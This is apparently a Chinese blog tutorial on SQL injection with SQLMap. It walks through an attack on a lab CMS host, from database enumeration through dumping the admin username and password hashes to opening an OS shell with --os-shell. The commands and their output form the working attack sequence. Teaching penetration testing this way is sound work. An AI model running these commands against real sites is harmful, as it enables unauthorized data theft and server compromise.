SQL注入-第六节注入工具

第六节SQL注入工具

掌握SQLMap 的用法

6.1 SQLMap

SQLMap 是一款专注于SQLi 的工具,堪称神器。SQLmap 基于Python 语言编写的命令行工具,集成在Kali 中。

6.1.1安装与更新

Kali 自带SQLMap 更新:

sudo apt-get update
sudo apt-get install sqlmap

源码包安装:

git clone https://github.com/sqlmapproject/sqlmap.git
git fetch
git pull

含义

6.1.2参数速查

image-20230901142532016

6.1.3SQLMap实战

利用sqlmap 注入得到cms 网站管理员账密:

注入点:http://10.10.10.6/cms/show.php?id=33
sqlmap -u "http://10.10.10.1/show.php?id=33"
sqlmap -u "http://10.10.10.1/show.php?id=33" --dbs 
sqlmap -u "http://10.10.10.1/show.php?id=33" --current-db
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" --tables 
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" --columns
sqlmap -u "http://10.10.10.1/show.php?id=33" -D "cms" -T "cms_users" -C "username,password" --dump
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 21232f297a57a5a743894a0e4a801fc3 |
| ajest | e10adc3949ba59abbe56e057f20f883e |
+----------+----------------------------------+

6.1.4POST注入

sqlmap -r /tmp/login.post

6.1.5GetShell

  • 受到secure_file_priv 选项的限制;

  • 目标系统Web 根目录的绝对路径;

  • 目录权限

sqlmap -u "http://192.168.16.119/show.php?id=33" --os-shell
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

§666§

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值